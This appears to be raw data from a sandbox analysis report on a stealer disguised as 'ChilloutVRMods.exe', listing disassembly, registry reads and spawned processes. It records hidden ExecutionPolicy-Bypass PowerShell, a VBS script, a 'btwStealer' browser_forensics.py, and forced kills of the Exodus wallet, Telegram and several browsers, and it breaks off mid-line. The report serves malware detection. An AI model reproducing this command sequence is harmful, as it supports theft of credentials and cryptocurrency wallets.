".data"49:T2b2f,"ChilloutVRMods.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1405d03bc,add rsp, 0x28,jmp 0x1405cfd0c,int3 ,int3 ,sub rsp, 0x28,call 0x1402be8b0,jmp 0x1405cfeb1,xor eax, eax,add rsp, 0x28,ret ,int3 ,int3 ,jmp 0x1405cfea4,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rsi,push rbp,push rdi,push r14,mov rbp, rsp,sub rsp, 0x10,xor eax, eax,xor ecx, ecx,cpuid ,mov r8d, ecx,mov r10d, edx,xor r10d, 0x49656e69,xor r8d, 0x6c65746e,mov r9d, ebx," "python310.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18017d64d,call 0x18017d66c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18017d4f8,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x25c988],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18017d703," "libcrypto-1_1.dll" file has an entrypoint instructions - "jmp 0x1802440b8,jmp 0x1802205e0,jmp 0x1802315b0,jmp 0x1801fa500,jmp 0x1801e5480,jmp 0x1800a7560,jmp 0x1801b4df0,jmp 0x18019aae0,jmp 0x18015c150,jmp 0x18019bf50,jmp 0x1800dfc10,jmp 0x1801f6080,jmp 0x1801af780,jmp 0x18019aa40,jmp 0x18010af70,jmp 0x18021b220,jmp 0x180210590,jmp 0x180232cc0,jmp 0x1801bf0f0,jmp 0x1802445a4," "sqlite3.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18012712d,call 0x18012714c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180126fd8,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x2cea8],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1801271e3," "libssl-1_1.dll" file has an entrypoint instructions - "jmp 0x18006ea0c,jmp 0x180025a00,jmp 0x18002b050,jmp 0x180008dc0,jmp 0x18004c2d0,jmp 0x18006f408,jmp 0x18005a3b0,jmp 0x18001aa00,jmp 0x18002fb40,jmp 0x180066fc0,jmp 0x180033710,jmp 0x1800233d0,jmp 0x18003ae00,jmp 0x18002be00,jmp 0x18004c9c0,jmp 0x1800543d0,jmp 0x18001c150,jmp 0x18006f518,jmp 0x18003ccf0,jmp 0x18002b210," "python.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140001680,add rsp, 0x28,jmp 0x140001124,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xd73],mov rcx, rbx,call qword ptr [rip + 0xd72],call qword ptr [rip + 0xd5c],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xd40],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xd24],test eax, eax,je 0x140001307," "vcruntime140.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000fb91,call 0x18000ffa0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000faf8,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rsi,push rdi,sub rsp, 0x10,xor eax, eax,xor ecx, ecx,cpuid ,mov r8d, ecx,xor r11d, r11d,mov r9d, ebx," "pythonw.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140001698,add rsp, 0x28,jmp 0x140001144,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xd5b],mov rcx, rbx,call qword ptr [rip + 0xd5a],call qword ptr [rip + 0xd44],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0xd28],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0xd0c],test eax, eax,je 0x14000131f," "python3.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "vcruntime140_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180004181,call 0x1800044b4,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800040f0,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,lea rax, [rip + 0x2063],mov rbx, rcx,mov qword ptr [rcx], rax,test dl, 1,je 0x1800041c2,mov edx, 0x18,call 0x1800041cc," "unicodedata.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002a81,call 0x180002c1c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000292c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x359f],mov rcx, rbx,call qword ptr [rip + 0x359e],call qword ptr [rip + 0x3588],mov rcx, rax," "_decimal.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18001fccd,call 0x18001fcec,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18001fb78,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x17308],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18001fd83," "pyexpat.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180010091,call 0x18001022c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000ff3c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x11fa7],mov rcx, rbx,call qword ptr [rip + 0x11f56],call qword ptr [rip + 0x11f90],mov rcx, rax," "_ssl.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180002a8d,call 0x180002aac,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180002938,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x1b548],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x180002b43," "_lzma.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180013221,call 0x1800133bc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800130cc,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x3e0f],mov rcx, rbx,call qword ptr [rip + 0x3e0e],call qword ptr [rip + 0x3df8],mov rcx, rax," "_elementtree.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800078c1,call 0x180007a5c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000776c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xc737],mov rcx, rbx,call qword ptr [rip + 0xc726],call qword ptr [rip + 0xc768],mov rcx, rax," "_ctypes.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180005bb1,call 0x180005d4c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180005a5c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0xa41f],mov rcx, rbx,call qword ptr [rip + 0xa42e],call qword ptr [rip + 0xa430],mov rcx, rax," "_sqlite3.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800089e1,call 0x180008b7c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000888c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x362f],mov rcx, rbx,call qword ptr [rip + 0x361e],call qword ptr [rip + 0x3628],mov rcx, rax," "_bz2.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000a6cd,call 0x18000a6ec,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000a578,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x6908],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18000a783," "_socket.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800025e1,call 0x18000277c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000248c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x5a3f],mov rcx, rbx,call qword ptr [rip + 0x5a2e],call qword ptr [rip + 0x5a38],mov rcx, rax," "_asyncio.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800019a1,call 0x180001b3c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000184c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x567f],mov rcx, rbx,call qword ptr [rip + 0x567e],call qword ptr [rip + 0x5668],mov rcx, rax," "_hashlib.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180003e81,call 0x18000401c,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180003d2c,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x316f],mov rcx, rbx,call qword ptr [rip + 0x315e],call qword ptr [rip + 0x31b0],mov rcx, rax,"4a:T456,"ChilloutVRMods.exe" has high imagebase "0x140000000" "python310.dll" has high imagebase "0x180000000" "libcrypto-1_1.dll" has high imagebase "0x180000000" "sqlite3.dll" has high imagebase "0x180000000" "libssl-1_1.dll" has high imagebase "0x180000000" "python.exe" has high imagebase "0x140000000" "vcruntime140.dll" has high imagebase "0x180000000" "pythonw.exe" has high imagebase "0x140000000" "python3.dll" has high imagebase "0x180000000" "vcruntime140_1.dll" has high imagebase "0x180000000" "unicodedata.pyd" has high imagebase "0x180000000" "_decimal.pyd" has high imagebase "0x180000000" "pyexpat.pyd" has high imagebase "0x180000000" "_ssl.pyd" has high imagebase "0x180000000" "_lzma.pyd" has high imagebase "0x180000000" "_elementtree.pyd" has high imagebase "0x180000000" "_ctypes.pyd" has high imagebase "0x180000000" "_sqlite3.pyd" has high imagebase "0x180000000" "_bz2.pyd" has high imagebase "0x180000000" "_socket.pyd" has high imagebase "0x180000000" "_asyncio.pyd" has high imagebase "0x180000000" "_hashlib.pyd" has high imagebase "0x180000000"4b:Taba,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00004592-00000BC0-2043629633] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00004592-00000BC0-2045674124] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00004592-00000BC0-2045677524] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -Assemb" [Source: 00000000-00004592-00000C47-4466221830] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "cscript //nologo //B "%TEMP%\system_check_1788280749172.vbs""" [Source: 00000000-00004592-00000C47-23379553952] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Securi" [Source: 00000000-00004592-00000C47-139322747340] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"" [Source: 00000000-00004592-00000C47-171871789596] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"" [Source: 00000000-00004592-00000C47-203026324412] Observed system executable string:"%WINDIR%\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"" [Source: 00000000-00004592-00000C47-221230598274] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001732-00000C47-490602378] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001732-00000BC0-2046271903] Observed system executable string:"%WINDIR%\system32\cscript.exe" [Source: 00000000-00008912-00000C47-460438236] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cscript.exe" [Source: 00000000-00008912-00000BC0-2054176713] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "ver"" [Source: 00000000-00000636-00000C47-37496087382] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\taskkill.exe" [Source: 00000000-00003736-00000BC0-2096498982] Observed system executable string:"%WINDIR%\SYSTEM32\taskkill.exe" [Source: 00000000-00003736-00000BC0-2096500567] Observed system executable string:"%WINDIR%\system32\tasklist.exe" [Source: 00000000-00008992-00000C47-489370752] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\tasklist.exe" [Source: 00000000-00008992-00000BC0-2116161182] Observed system executable string:"%WINDIR%\system32\taskkill.exe" [Source: 00000000-00005728-00000C47-1403367962]4c:T132e,Process "zeppskdd.exe" (UID: 00000000-00004592) was launched with new environment variables: "USERDNSDOMAIN="qAkTfsrqB4bXsyi"" Process "zeppskdd.exe" (UID: 00000000-00004592) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00001732) was launched with new environment variables: "PKG_EXECPATH="%TEMP%\zeppskdd.exe"" Process "cmd.exe" (UID: 00000000-00001732) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00005884) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00005884) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008912) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008912) was launched with missing environment variables: "PROMPT" Process "cscript.exe" (UID: 00000000-00004004) was launched with new environment variables: "PROMPT="$P$G"" Process "cscript.exe" (UID: 00000000-00004004) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "python.exe" (UID: 00000000-00000636) was launched with new environment variables: "PYTHONPATH="%TEMP%\WinGet\tools\Lib", PYTHONHOME="%TEMP%\WinGet\tools", PYTHONUNBUFFERED="1"" Process "python.exe" (UID: 00000000-00000636) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "python.exe" (UID: 00000000-00000636) was launched with missing environment variables: "PROMPT" Process "cmd.exe" (UID: 00000000-00003436) was launched with new environment variables: "PLAT="win-amd64"" Process "cmd.exe" (UID: 00000000-00003436) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "python.exe" (UID: 00000000-00003736) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "python.exe" (UID: 00000000-00003736) was launched with missing environment variables: "PLAT" Process "taskkill.exe" (UID: 00000000-00004388) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00005100) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00005100) was launched with missing environment variables: "PYTHONPATH, PYTHONHOME, PYTHONUNBUFFERED" Process "powershell.exe" (UID: 00000000-00002044) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00002044) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000940) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000940) was launched with missing environment variables: "PROMPT" Process "powershell.exe" (UID: 00000000-00003696) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00003696) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008992) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008992) was launched with missing environment variables: "PROMPT" Process "tasklist.exe" (UID: 00000000-00005868) was launched with new environment variables: "PROMPT="$P$G"" Process "tasklist.exe" (UID: 00000000-00005868) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00009208) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00009208) was launched with missing environment variables: "PROMPT" Process "tasklist.exe" (UID: 00000000-00002656) was launched with new environment variables: "PROMPT="$P$G"" Process "tasklist.exe" (UID: 00000000-00002656) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00005728) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00005728) was launched with missing environment variables: "PROMPT" Process "powershell.exe" (UID: 00000000-00004788) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00004788) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008104) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00008104) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00005232) was launched with new environment variables: "PROMPT="$P$G"" Process "taskkill.exe" (UID: 00000000-00005232) was launched with modified environment variables: "NUMBER_OF_PROCESSORS"4d:T4dc,"zeppskdd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "zeppskdd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "zeppskdd.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "python.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "python.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")4e:Tf98,Observed system executable string:"%WINDIR%\System32\perfos.dll" [Source: 00000000-00004592-00000C2B-2052847253] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005884-00000C2E-139613324] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005884-00000C2B-2047140622] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005884-00000C2B-2047224441] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005884-00000C2B-2047289031] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00005884-00000C2B-2047506902] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005884-00000C2B-2047536853] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005884-00000C2B-2047578436] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005884-00000C2B-2047615634] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00005884-00000C2B-2047676475] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00005884-00000C2B-2047732219] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005884-00000C2B-2047816610] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005884-00000C2B-2047958441] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005884-00000C2B-2048032803] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005884-00000C2B-2048189885] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005884-00000C2B-2048195649] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005884-00000C2B-2048517314] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005884-00000C2B-2048534872] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005884-00000C2B-2048865205] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005884-00000C2B-2048926183] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005884-00000C2B-2048960003] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00005884-00000C2B-2049156927] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00005884-00000C2B-2049498995] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00005884-00000C2B-2049560197] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll" [Source: 00000000-00005884-00000C2B-2049574465]4f:Tad4,Spawned process "zeppskdd.exe" (UID: 00000000-00004592) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowS ..." (UID: 00000000-00001732), Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidd ..." (UID: 00000000-00005884), Spawned process "cmd.exe" with commandline "/d /s /c "cscript //nologo //B "%TEMP%\\system_check_17882807491 ..." (UID: 00000000-00008912), Spawned process "cscript.exe" with commandline "cscript //nologo //B "%TEMP%\\system_check_1788280749172.vbs"" (UID: 00000000-00004004), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00000636), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00007668), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00008784), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00003436), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00005596), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007200), Spawned process "python.exe" with commandline "%LOCALAPPDATA%\\btwStealer-local\\output\\browser_forensics.py" (UID: 00000000-00003736), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004388), Spawned process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00007420), Spawned process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00008680), Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006084), Spawned process "taskkill.exe" with commandline "taskkill /F 